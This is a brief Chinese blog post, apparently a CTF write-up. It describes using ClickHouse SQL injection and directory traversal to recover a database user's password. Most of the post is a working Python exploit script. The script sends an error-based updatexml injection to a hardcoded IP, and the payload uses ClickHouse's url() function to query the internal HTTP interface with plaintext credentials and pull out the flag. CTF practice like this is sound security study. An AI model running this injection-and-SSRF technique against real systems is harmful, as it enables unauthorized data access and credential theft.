好久没写博客了,水一篇
通过clickhouse注入,目录穿越发现user_01用户的密码,使用http接口连接数据库注入得到flag
exp如下
import requests,re
url = "http://39.105.175.150:30001/"
sql = """SELECT version()"""
param = {
"id":f"1 and updatexml(1,concat(0x7e,(SELECT * FROM url('http://127.0.0.1:8123?user=user_01&password=e3b0c44298fc1c149afb&query=select+flag+from+ctf.flag', RawBLOB, 'column1 String') LIMIT 0,1),0x7e),1)"
}
res = requests.get(url,params=param)
print("----------------------------------")
print(res.text)
match = re.findall(r"CAST\((.*)\)",res.text)
try:
print(match[0])
except:
pass
print("----------------------------------")
此后也会继续加强自己对安全方面的知识锻炼以及学习各种防御技巧